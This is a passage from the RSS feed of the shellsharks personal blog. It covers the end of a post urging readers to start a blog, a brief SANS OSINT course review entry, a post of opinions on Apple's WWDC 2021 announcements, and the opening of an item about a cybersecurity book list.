    &lt;p&gt;&lt;strong&gt;I don’t have a niche&lt;/strong&gt; : You don’t need one! Write about &lt;a href=&quot;https://shellsharks.com/be-weird&quot;&gt;whatever&lt;/a&gt; you want, as broadly as you want. &lt;em&gt;Sure&lt;/em&gt;, some may say that by writing across a broad range of topics you run the risk of alienating some of your potential readership that would only be interested in your core topics—and this &lt;em&gt;may&lt;/em&gt; be true, but the way I consume content from blogs is by &lt;a href=&quot;https://shellsharks.com/an-ode-to-rss#how-to-rss&quot;&gt;scrolling through a feed&lt;/a&gt; of blogs I follow, and if the post looks interesting to me, I read it. Otherwise, I scroll past. So don’t box yourself in creatively. &lt;a href=&quot;https://shellsharks.com/notes/2024/05/01/be-yourself&quot;&gt;Be yourself&lt;/a&gt; and write about whatever you like. I’ll add that people in general have broad interests. If you write broadly, you will reach a larger audience. I for example write about &lt;a href=&quot;https://shellsharks.com/tags?tag=infosec&quot;&gt;infosec&lt;/a&gt;, &lt;a href=&quot;https://shellsharks.com/tags?tag=technology&quot;&gt;non-infosec-tech stuff&lt;/a&gt;, and &lt;a href=&quot;https://shellsharks.com/tags?tag=life&quot;&gt;life in general&lt;/a&gt;!&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;I’m not an expert&lt;/strong&gt; : You don’t need to be. A lot of people aren’t “experts”. You don’t have to be the foremost expert on a topic for your perspective to be valuable. Sometimes a more &lt;em&gt;relatable&lt;/em&gt; approach, and thus more digestible, comes from someone with less experience. Simply explain who you are, what your experience is and then write about your topic from your perspective. You will likely find that people can learn more from someone who is in a similar situation as them then from some expert who might not understand how the layman thinks.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;What if I say something incorrect or it isn’t written perfectly?&lt;/strong&gt; : Perfection is the enemy of productivity. Don’t worry about being flawless, and don’t sweat the times you are incorrect. With any luck, someone will call you out on something you post that’s wrong and you will have a chance to learn from that mistake and you can update the post at that time! No one knows everything, not even the big names in your given industry or field. It’s ok to be wrong, and it’s also OK to change your mind, update/fix your content, etc… Since you own &amp;amp; control your site, and your content, each and every page and post on your site can exist as living documents. You are free to update, edit, modify or even delete things at will. Focus on the quality of your work over time and you will have no problem.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;I don’t know if I can post regularly&lt;/strong&gt; :  You don’t have to post every week. You don’t have to post every month. Just post when you have &lt;a href=&quot;https://shellsharks.com/just-put-it-on-your-blog&quot;&gt;something&lt;/a&gt; to write about. It’s also perfectly acceptable to post something that is a work-in-progress, and add to it in increments as you work on finishing the complete piece.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;h1 id=&quot;so-why-blog&quot;&gt;So Why Blog?&lt;/h1&gt;

&lt;p&gt;OK, so hopefully some of your &lt;a href=&quot;#what-not-to-worry-about&quot;&gt;common fears&lt;/a&gt; have been allayed. Now let’s get into the reasons &lt;a href=&quot;https://shellsharks.com/why&quot;&gt;why&lt;/a&gt; I, and the reasons why &lt;strong&gt;YOU&lt;/strong&gt; should start a blog. I should accentuate the fact that &lt;em&gt;each&lt;/em&gt; of the items listed below I actively benefit from, and you can too!&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;It gives meaning to the time you spend on things&lt;/strong&gt; : Have you ever learned something only to forget it later? Or worked hard on something only for it to go seemingly unnoticed or unappreciated? Do you ever just forget what you did last year? Or even last week? &lt;em&gt;Yeah&lt;/em&gt;, me too. Instead of losing it to time, why not document what you did, how you did it, what you learned, etc…? In doing so, you can preserve a historical record which can be shared, remembered, or referenced long into the future. Over time, there is a cumulative effect to writing about the things you do, learn and accomplish. You can &lt;a href=&quot;https://shellsharks.com/hyperlink-travel&quot;&gt;link&lt;/a&gt; to this past work and build an incredibly useful quasi-second-brain along the way.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;It can help you remember how you did something&lt;/strong&gt; : Let your blog be a reference for yourself. In my career, and in my life, I have forgotten &lt;em&gt;a lot&lt;/em&gt; of what I have learned. If I had taken the time to document these things, in my own way, with my own context, I’d have the best possible reference to go back and remember it all.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Documenting can help you retain it long-term&lt;/strong&gt; : Similar to the point above, the simple act of documenting/writing things will help you retain that knowledge long-term. Worst case scenario though, if you do end up forgetting, you have it documented!&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;It can look good on a resume or as part of a professional portfolio&lt;/strong&gt; : Having a place where you document your research and other work can impress current or future employers. This will supplement your &lt;a href=&quot;https://shellsharks.com/resume&quot;&gt;resume&lt;/a&gt; by speaking to the skills and experience you claim to possess.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;It can help you network&lt;/strong&gt; : Ultimately, when people &lt;em&gt;do&lt;/em&gt; read your material, they may reach out to you. In those moments, you have an opportunity to make a meaningful &lt;a href=&quot;https://shellsharks.com/cyber-clout&quot;&gt;connection&lt;/a&gt; either personally or professionally.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Your content can help someone&lt;/strong&gt; : If you’ve learned something, chances are, you aren’t the only person in the world who didn’t know that thing. Which means, someone else out there can benefit from what you learned and how you learned it.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;It can trigger other bursts of creativity and productivity&lt;/strong&gt; : As you write and as you create, you tend to come up with even &lt;em&gt;more&lt;/em&gt; ideas. Good begets great, &lt;em&gt;inspire yourself&lt;/em&gt;!&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;You will likely learn more by creating&lt;/strong&gt; : Some say the best way to learn is to teach. By teaching, or in this case, by documenting what you learn in such a way that it is consumable by others than yourself, you will further cement that material in your own mind. In other words, for you to confidently teach something, you need to know it &lt;em&gt;very&lt;/em&gt; well. So learn to create, create to teach and then teach to learn!&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;It can help create a social/professional identity tied to YOU rather than where you work&lt;/strong&gt; : What I mean here is, you can market yourself through your &lt;em&gt;site&lt;/em&gt; rather than through traditional mediums like &lt;a href=&quot;https://shellsharks.com/notes/2024/02/11/linkedin-s-value-to-me&quot;&gt;Linkedin&lt;/a&gt; or (*&lt;em&gt;grumble&lt;/em&gt;*) your &lt;a href=&quot;https://shellsharks.com/notes/2021/09/01/a-rant-on-traditional-resumes&quot;&gt;resume&lt;/a&gt;. Linkedin is focused on your professional history alone. This makes it hard to decouple your identity, who you really are, from where you’ve worked and what titles you held. Your resume is even worse! It boxes you in to just 1-2 pages where you hope to fully explain your professional worth. A website you own and control allows you to fully document and share your &lt;a href=&quot;https://shellsharks.com/notes/2024/05/01/be-yourself&quot;&gt;authentic self&lt;/a&gt;, what you can do, what you have done, what &lt;a href=&quot;https://shellsharks.com/why&quot;&gt;matters&lt;/a&gt; to you, etc…&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;It’s fun!&lt;/strong&gt; : I’m not saying having a blog isn’t work, &lt;a href=&quot;#with-all-that-said&quot;&gt;it is&lt;/a&gt;. But work can be fun. Especially when it’s done at your own pace and leisure. I personally get a lot of &lt;a href=&quot;https://shellsharks.com/notes/2023/11/21/how-has-my-site-changed-my-life&quot;&gt;enjoyment&lt;/a&gt; out of maintaining my site.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;It can turn into something more&lt;/strong&gt; : Who knows, your innocent, low-volume, professional-&lt;i&gt;ish&lt;/i&gt; blog could turn into something more. Maybe it becomes popular, maybe you can monetize it, maybe it will yield business opportunities, there is a lot of potential. This potential remains untapped unless you try.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Secure your identity on the web&lt;/strong&gt; : Don’t rely on traditional social media to be your identity on the web. Tie your identity to your domain. Read more about why this is important &lt;a href=&quot;https://shellsharks.com/notes/2023/08/16/your-website-your-identity&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;For humanity&lt;/strong&gt;: Don’t let the web become exclusively the soulless blended slop of humanities exploits pre-2020’s. You can continue to inject your real, &lt;a href=&quot;https://sightlessscribbles.com/posts/the-colonization-of-confidence/&quot;&gt;messy&lt;/a&gt;, &lt;em&gt;human&lt;/em&gt; voice into an increasingly inhuman web.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;h1 id=&quot;with-all-that-said&quot;&gt;With All That Said&lt;/h1&gt;

&lt;p&gt;&lt;em&gt;Great&lt;/em&gt;! Your &lt;a href=&quot;#what-not-to-worry-about&quot;&gt;fears are quelled&lt;/a&gt; and you are now excited to reap &lt;a href=&quot;#so-why-blog&quot;&gt;the rewards&lt;/a&gt; of starting a blog. But not so fast! Let me share just a few teeny-tiny “gotchas”.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;It does take time&lt;/strong&gt; : No surprise here, &lt;em&gt;but yes&lt;/em&gt;, writing takes &lt;a href=&quot;https://shellsharks.com/notes/2023/11/09/where-i-find-the-time&quot;&gt;time&lt;/a&gt;. I personally feel the time it takes to document something is worth it though, given &lt;a href=&quot;#so-why-blog&quot;&gt;all the benefits&lt;/a&gt;.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;You may get wrapped up in it&lt;/strong&gt; : What I mean is, you may end up spending more time than you had originally thought you would. This is both good and bad! I think it is a really productive and healthy outlet, but you need to be conscious of your other time commitments.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;You should put care and diligence into what you post&lt;/strong&gt; : Though I have said that your material doesn’t need to be perfect, you should still take care to post accurate and quality material.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Finally, here are a few other &lt;a href=&quot;https://shellsharks.com/blog-things-i-wish-i-had-known&quot;&gt;things to consider&lt;/a&gt; before starting on your site-having journey.&lt;/p&gt;

&lt;h1 id=&quot;wrap-up&quot;&gt;Wrap-Up&lt;/h1&gt;

&lt;p&gt;So that’s my pitch. Tons of people do it. You can do it. Your perspective is valuable. The &lt;a href=&quot;#so-why-blog&quot;&gt;benefits&lt;/a&gt; are immense. &lt;strong&gt;You should start a blog&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;So are you convinced? I’d love to hear about it! &lt;a href=&quot;https://shellsharks.com/contact&quot;&gt;Let me know&lt;/a&gt; your blog idea or share your URL with me. If its an infosec-related blog, I’ll even add it to &lt;a href=&quot;https://shellsharks.com/infosec-blogs#boutique-security-blogs&quot;&gt;my collection&lt;/a&gt;! Still not convinced? I’d like to hear about that too. Thanks for reading!&lt;/p&gt;

&lt;h1 id=&quot;resources&quot;&gt;Resources&lt;/h1&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://getblogging.org&quot;&gt;Get Blogging!&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://library.xandra.cc/everyone-should-blog/&quot;&gt;EveryoneShouldBlog.txt&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://bringback.blog&quot;&gt;Bring Back Blogging&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://sethmlarson.dev/writing-for-the-internet&quot;&gt;Writing a blog on the internet&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://nora.zone/manifesto.html&quot;&gt;You should have a website&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://manuelmoreale.com/blog-platforms&quot;&gt;Blog Platforms | Manuel Moreale&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://landchad.net&quot;&gt;LandChad.net&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://web.pixelshannon.com/make/&quot;&gt;Make Your Own Website&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://adamcaudill.com/2026/01/04/lessons-learned-from-20-years-why-you-should-blog/&quot;&gt;Lessons Learned from 20 Years &amp;amp; Why You Should Blog&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</description>
        <pubDate>Tue, 13 Jul 2021 10:50:00 -0400</pubDate>
        <link>https://shellsharks.com/you-should-blog</link>
        <guid isPermaLink="true">https://shellsharks.com/you-should-blog</guid>
        
        <category>infosec</category>
        
        <category>life</category>
        
        <category>technology</category>
        
        <category>blogging</category>
        
        <category>bestof</category>
        
        
        <category>life</category>
        
        <category>technology</category>
        
        <category>blog</category>
        
        <category>indieweb</category>
        
      </item>
    
      <item>
        <title>SANS SEC537: Practical OSINT Review</title>
        <shark:summary><p>A mini-review of the SANS course SEC537: Practical Open-Source Intelligence (OSINT) Analysis and Automation.</p>
</shark:summary>
        <description>
</description>
        <pubDate>Sun, 11 Jul 2021 06:00:00 -0400</pubDate>
        <link>https://shellsharks.com/sans-sec537-review</link>
        <guid isPermaLink="true">https://shellsharks.com/sans-sec537-review</guid>
        
        <category>infosec</category>
        
        <category>training</category>
        
        <category>sans</category>
        
        <category>osint</category>
        
        <category>red</category>
        
        <category>appsec</category>
        
        <category>dev</category>
        
        <category>python</category>
        
        <category>cloud</category>
        
        <category>thirdparty</category>
        
        <category>risk</category>
        
        
        <category>infosec</category>
        
      </item>
    
      <item>
        <title>Thoughts on WWDC 2021</title>
        <shark:summary><p>Another year, another <a href="https://www.apple.com/apple-events/june-2021/">WWDC</a>. At first viewing, I felt this event was pretty lackluster. However, once I had the chance to mentally digest and dig more into some of the announced features, I decided there is <em>a lot</em> to be excited about! Some of my takeaways and opinions on the various additions across Apple’s OS lineup are listed below.</p>
</shark:summary>
        <description>&lt;p&gt;Another year, another &lt;a href=&quot;https://www.apple.com/apple-events/june-2021/&quot;&gt;WWDC&lt;/a&gt;. At first viewing, I felt this event was pretty lackluster. However, once I had the chance to mentally digest and dig more into some of the announced features, I decided there is &lt;em&gt;a lot&lt;/em&gt; to be excited about! Some of my takeaways and opinions on the various additions across Apple’s OS lineup are listed below.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://shellsharks-images.s3.amazonaws.com/2021/wwdc2021/wwdc21.jpg&quot; alt=&quot;WWDC 2021&quot; /&gt;&lt;/p&gt;

&lt;hr /&gt;

&lt;p&gt;&lt;a href=&quot;https://www.apple.com/ios/ios-15-preview/&quot;&gt;&lt;img src=&quot;https://shellsharks-images.s3.amazonaws.com/2021/wwdc2021/ios15_logo.png&quot; alt=&quot;iOS 15&quot; /&gt;&lt;/a&gt;
&lt;br /&gt;
&lt;strong&gt;*&lt;/strong&gt; Many, &lt;em&gt;if not most&lt;/em&gt; of the features listed in this section are not only coming to iPhone but also coming to iPad in the new version of &lt;a href=&quot;https://www.apple.com/ipados/&quot;&gt;iPadOS&lt;/a&gt; as well as to the Mac in &lt;a href=&quot;https://www.apple.com/macos/monterey-preview/&quot;&gt;macOS Monterey&lt;/a&gt;.&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;The first thing I thought of when &lt;strong&gt;&lt;a href=&quot;https://developer.apple.com/shareplay/&quot;&gt;SharePlay&lt;/a&gt;&lt;/strong&gt; (specifically the screen sharing feature) was announced was, “Apple just reinvented remote tech support for the in-laws…” - &lt;a href=&quot;https://www.youtube.com/watch?v=A6A331B1oq8&quot;&gt;also this&lt;/a&gt;.&lt;/li&gt;
  &lt;li&gt;Now that I can &lt;strong&gt;&lt;a href=&quot;https://www.theverge.com/2021/6/7/22522889/apple-facetime-android-windows-web-ios-15-wwdc&quot;&gt;invite anyone&lt;/a&gt; to &lt;a href=&quot;https://apps.apple.com/us/app/facetime/id1110145091&quot;&gt;FaceTime&lt;/a&gt;&lt;/strong&gt;, I can finally include my poor &lt;a href=&quot;https://www.androidauthority.com/green-bubble-phenomenon-1021350/&quot;&gt;green bubble&lt;/a&gt; friends/family in the video chat fun. This will help me cut down on the insane number of video-chatting apps I have on my devices (e.g. Slack, Messenger, Discord, Duo, Meet, Chat, Zoom, etc…) which have been necessary to accommodate the non-iPhone-wielders.&lt;/li&gt;
  &lt;li&gt;The &lt;strong&gt;Shared with You&lt;/strong&gt; feature for Photos which aggregates the pictures sent to you via iMessage, I can see being very useful depending on where they draw the line. I’m sure plenty of people get a lot of pictures (*&lt;em&gt;cough&lt;/em&gt;* &lt;a href=&quot;https://time.com/5791028/how-to-pronounce-gif/&quot;&gt;GIFs&lt;/a&gt;) that they don’t necessarily want junking up their Photos app. I personally share and receive a lot of articles and it would be pretty nice to have those aggregated for me in News / Safari.&lt;/li&gt;
  &lt;li&gt;New &lt;strong&gt;&lt;a href=&quot;https://apps.apple.com/us/app/memoji/id1526384700&quot;&gt;Memoji&lt;/a&gt;&lt;/strong&gt; - Do people use Memoji?&lt;/li&gt;
  &lt;li&gt;The new &lt;strong&gt;Notification summary&lt;/strong&gt; claims to leverage “on-device intelligence” to order and prioritize your notifications. No chance (in my mind) that this can accurately order my notifications. I wonder if they’ll allow me to manually order my notifications based on app? In any case, I am pretty conservative with what apps I allow to send me notifications in the first place so I don’t really need this support.&lt;/li&gt;
  &lt;li&gt;The new &lt;strong&gt;Maps&lt;/strong&gt; &lt;a href=&quot;https://www.apple.com/newsroom/2020/01/apple-delivers-a-new-redesigned-maps-for-all-users-in-the-united-states/&quot;&gt;redesign&lt;/a&gt; looks &lt;em&gt;really&lt;/em&gt; cool, I especially like the elevation visualization. I want to use &lt;a href=&quot;https://www.apple.com/maps/&quot;&gt;Apple Maps&lt;/a&gt;, I &lt;em&gt;really&lt;/em&gt; do. It’s just, I still &lt;a href=&quot;https://medium.com/myboost/why-apple-maps-sucked-f1e1e1e357da&quot;&gt;don’t really have confidence in it&lt;/a&gt;.&lt;/li&gt;
  &lt;li&gt;The new &lt;strong&gt;immersive walking instructions&lt;/strong&gt; seems &lt;em&gt;very&lt;/em&gt; useful as I NEVER know how to orient myself in situations like getting off at a metro stop.&lt;/li&gt;
  &lt;li&gt;They’ve redesigned the aesthetic of the &lt;strong&gt;Safari tab bar&lt;/strong&gt;. I think the new design is fine, but I don’t really get why they feel the need to redesign this every year. Just leave tabs alone!&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Safari extensions&lt;/strong&gt; are no longer &lt;a href=&quot;https://apps.apple.com/us/story/id1377753262&quot;&gt;just for Mac&lt;/a&gt;! This didn’t get a lot of air-time but I think this is one of the really awesome features from the event. Just take a look at the &lt;a href=&quot;https://twitter.com/firebeyer/status/1402085111424708612&quot;&gt;new 1Password extension interface&lt;/a&gt;!&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;ID cards&lt;/strong&gt; (i.e. Driver’s License) in the &lt;a href=&quot;https://www.apple.com/wallet/&quot;&gt;Apple Wallet&lt;/a&gt; app?! This is one step closer to getting rid of the wallet all together. I’m &lt;em&gt;very much&lt;/em&gt; looking forward to this. This will require state-by-state buy-in though before it becomes practical.&lt;/li&gt;
  &lt;li&gt;The new &lt;strong&gt;Key&lt;/strong&gt; feature is interesting. I’m wondering if my existing &lt;a href=&quot;https://august.com&quot;&gt;August&lt;/a&gt; Smart Lock (from 2018) will support this. Similarly, I wonder if &lt;a href=&quot;https://www.tesla.com&quot;&gt;Tesla&lt;/a&gt; would ever add support for the &lt;strong&gt;&lt;a href=&quot;https://support.apple.com/en-us/HT211234&quot;&gt;Car keys&lt;/a&gt;&lt;/strong&gt; feature.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Live Text&lt;/strong&gt; is a cool feature and one that I can see myself actually using. From pictures of recipes to whiteboards - there’s certainly practical use cases.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Visual Look Up&lt;/strong&gt; will be an awesome feature &lt;em&gt;if&lt;/em&gt; it works well. I’d love to ID a plant or animal just with a picture.&lt;/li&gt;
  &lt;li&gt;Not sure why they needed to rebrand &lt;a href=&quot;https://www.icloud.com&quot;&gt;iCloud&lt;/a&gt; as “&lt;strong&gt;iCloud+&lt;/strong&gt;”. Why not just add features to iCloud and leave it with the same name?&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;iCloud Private Relay&lt;/strong&gt; is just Apple &lt;a href=&quot;https://www.torproject.org&quot;&gt;Tor&lt;/a&gt; yeah? Well since Tor &lt;a href=&quot;https://nusenu.medium.com/how-malicious-tor-relays-are-exploiting-users-in-2020-part-i-1097575c0cac&quot;&gt;is so secure&lt;/a&gt; this should be too right? =P. I’m curious who runs the relay nodes.&lt;/li&gt;
  &lt;li&gt;Not explicitly announced, but I did see some new iOS &lt;strong&gt;&lt;a href=&quot;https://support.apple.com/en-us/HT207122&quot;&gt;widgets&lt;/a&gt;&lt;/strong&gt; that I am interested in putting on my home screen.&lt;/li&gt;
  &lt;li&gt;With new features added to &lt;strong&gt;&lt;a href=&quot;https://www.icloud.com/notes&quot;&gt;Notes&lt;/a&gt;&lt;/strong&gt;, it’s getting dangerously close to something I would switch to as my main note-taking app. I do love &lt;a href=&quot;https://simplenote.com&quot;&gt;Simplenote&lt;/a&gt; but it’s getting harder to deny the advantages the native integration of the Notes app has.&lt;/li&gt;
  &lt;li&gt;I like the idea of the new &lt;strong&gt;Focus&lt;/strong&gt; feature but feel it’s &lt;em&gt;so&lt;/em&gt; customizable that I think you’ll actually just be more productive if you simply put your phone away when trying to focus on something rather than obsessing over different focus profiles for hours like I know I would.&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.apple.com/siri/&quot;&gt;Siri&lt;/a&gt; now has &lt;strong&gt;on-device speech processing&lt;/strong&gt; and &lt;strong&gt;offline support&lt;/strong&gt;. This should &lt;em&gt;hopefully&lt;/em&gt; alleviate some pain points with using the voice assistant.
&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href=&quot;https://www.apple.com/ipados/ipados-preview/&quot;&gt;&lt;img src=&quot;https://shellsharks-images.s3.amazonaws.com/2021/wwdc2021/ipados_logo.png&quot; alt=&quot;iPadOS 15&quot; /&gt;&lt;/a&gt;
&lt;br /&gt;&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;All together, I do think the iPad is getting a &lt;a href=&quot;https://www.apple.com/newsroom/2021/06/apple-previews-new-ipad-productivity-features-with-ipados-15/&quot;&gt;pretty decent productivity boost&lt;/a&gt;.&lt;/li&gt;
  &lt;li&gt;The new &lt;strong&gt;Multitasking&lt;/strong&gt; suite seems better. &lt;em&gt;But&lt;/em&gt;… the demo left me feeling a bit lost. It will definitely take some hands-on time to really get the hang of it.&lt;/li&gt;
  &lt;li&gt;The biggest thing I wanted from iPadOS was &lt;strong&gt;widgets on the home screen&lt;/strong&gt;. This was such an obvious thing and one that I really can’t believe didn’t ship when widgets first debuted. With the &lt;a href=&quot;https://www.tomsguide.com/news/ipad-pro-2021-benchmarks-reveal-killer-m1-chip-performance&quot;&gt;insane processing power&lt;/a&gt; of the latest gen, M1-enabled iPads, there really was no reason to not add it.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://support.apple.com/en-us/HT211345&quot;&gt;App Library&lt;/a&gt;&lt;/strong&gt; is dumb. It’s on iPad now. Meh.&lt;/li&gt;
  &lt;li&gt;I think &lt;strong&gt;Quick Note&lt;/strong&gt; is awesome! One other reason why I am thinking of moving to Notes as my primary notes app. I wish this feature was on iPhone as well.&lt;/li&gt;
  &lt;li&gt;It would be cool if the screen sharing feature of FaceTime could be limited to a specific split-screened app on iPad.&lt;/li&gt;
  &lt;li&gt;So we didn’t get &lt;a href=&quot;https://developer.apple.com/xcode/&quot;&gt;Xcode&lt;/a&gt; for iPad. But we did get a souped up version of &lt;strong&gt;&lt;a href=&quot;https://www.apple.com/swift/playgrounds/&quot;&gt;Swift Playgrounds&lt;/a&gt;&lt;/strong&gt;. I think in time a more feature-filled, Xcode-like app will make its way to iPad, but for now, it’s Swift Playgrounds.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://www.theverge.com/2021/6/8/22523613/macos-monterey-wwdc-apple-ipad&quot;&gt;Universal Control&lt;/a&gt;&lt;/strong&gt; is a feature I will &lt;em&gt;definitely&lt;/em&gt; use. I typically have two separate Mac devices and an iPad open on my desk and being able to control all from a single set of peripherals is a great idea…
&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href=&quot;https://www.apple.com/macos/monterey-preview/&quot;&gt;&lt;img src=&quot;https://shellsharks-images.s3.amazonaws.com/2021/wwdc2021/macos_logo.png&quot; alt=&quot;macOS Monterey&quot; /&gt;&lt;/a&gt;
&lt;br /&gt;&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;The new macOS is bringing the ability to &lt;strong&gt;&lt;a href=&quot;https://www.apple.com/airplay/&quot;&gt;AirPlay&lt;/a&gt;&lt;/strong&gt; &lt;em&gt;to&lt;/em&gt; a Mac. What I really want is to AirPlay the screen of a MacBook Pro to a set of connected displays attached to a different Mac. &lt;em&gt;Here’s my scenario&lt;/em&gt; - I have three displays connected to a desktop Mac Pro which is used as a “personal” device. I also have a MacBook Pro that is a work machine. I would love to be able to leverage the screen real estate of the displays connected to my Mac Pro on my laptop without having to disconnect the displays and connect them to the MacBook Pro. Imagine if I could simply AirPlay three “&lt;a href=&quot;https://support.apple.com/guide/mac-help/work-in-multiple-spaces-mh14112/mac&quot;&gt;spaces&lt;/a&gt;” to the three remote displays? That would be amazing.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://apps.apple.com/us/app/shortcuts/id915249334&quot;&gt;Shortcuts&lt;/a&gt; on Mac&lt;/strong&gt; has the potential to be really powerful. I wonder what support it will receive with respect to third-party developers making actions available to the app.
&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href=&quot;https://www.apple.com/watchos/watchos-preview/&quot;&gt;&lt;img src=&quot;https://shellsharks-images.s3.amazonaws.com/2021/wwdc2021/watchos_logo.png&quot; alt=&quot;watchOS 8&quot; /&gt;&lt;/a&gt;
&lt;br /&gt;&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;The &lt;a href=&quot;https://developer.apple.com/wwdc21/&quot;&gt;keynote&lt;/a&gt; had a video where a smart doorbell was rang and an &lt;a href=&quot;https://www.apple.com/watch/&quot;&gt;Apple Watch&lt;/a&gt; immediately brought up a video view from the doorbell’s camera. I have an &lt;a href=&quot;https://shellsharks.com/apple-watch-hardware#series-4-&quot;&gt;Apple Watch 4&lt;/a&gt; so maybe I don’t realize how fast the recent gen Watches are, but the smoothness of bringing this live video feed up seems too good to be true in real-world use.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Home key&lt;/strong&gt; on the watch will be my favorite new Watch feature. Just *&lt;em&gt;tap&lt;/em&gt;* and I’m into my house.&lt;/li&gt;
  &lt;li&gt;Still don’t care about the &lt;strong&gt;&lt;a href=&quot;https://support.apple.com/en-us/HT206999&quot;&gt;Breathe&lt;/a&gt;&lt;/strong&gt; app.&lt;/li&gt;
  &lt;li&gt;There are new &lt;strong&gt;&lt;a href=&quot;https://support.apple.com/guide/watch/sleep-apd830528336/watchos&quot;&gt;Sleep&lt;/a&gt;&lt;/strong&gt; tracking features but I still don’t know when I would charge my Watch if I was using this.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Next-hour precipitation alerts&lt;/strong&gt; are nice.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Walking Steadiness&lt;/strong&gt; is completely ridiculous. I can’t wait for it to go off constantly when I am playing basketball.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;br /&gt;&lt;br /&gt;
There are also some &lt;a href=&quot;https://www.apple.com/apple-tv-4k/#more-to-watch&quot;&gt;new features coming to tvOS this Fall&lt;/a&gt;. The most interesting of which is the ability to use &lt;a href=&quot;homepod mini&quot;&gt;HomePod Mini’s&lt;/a&gt; as speakers for your &lt;a href=&quot;https://www.apple.com/tv/&quot;&gt;Apple TV&lt;/a&gt;.&lt;/p&gt;
</description>
        <pubDate>Wed, 09 Jun 2021 09:35:00 -0400</pubDate>
        <link>https://shellsharks.com/wwdc-2021</link>
        <guid isPermaLink="true">https://shellsharks.com/wwdc-2021</guid>
        
        <category>apple</category>
        
        <category>technology</category>
        
        
        <category>technology</category>
        
        <category>blog</category>
        
      </item>
    
      <item>
        <title>Cybersecurity Library</title>
        <shark:summary><p>Though there is a real wealth of infosec learning resources out there including an immense collection of <a href="https://shellsharks.com/online-training">online training</a> to a <a href="https://shellsharks.com/infosec-blogs">dizzying array of unique blogs</a> from security professionals and enthusiasts, having a solid, old-fashioned <strong>book</strong> as a reference or instructional tool is always good to have!
<br /><br />
With this in mind, I’ve created an <a href="https://www.amazon.com/hz/wishlist/genericItemsPage/165RQHPOUATST">Amazon list with all the Infosec books I own</a>. Though I certainly haven’t read each of these cover-to-cover, I purchased each based on the good reviews they received and the value of their content relevant to my interests in information security.</p>
</shark:summary>
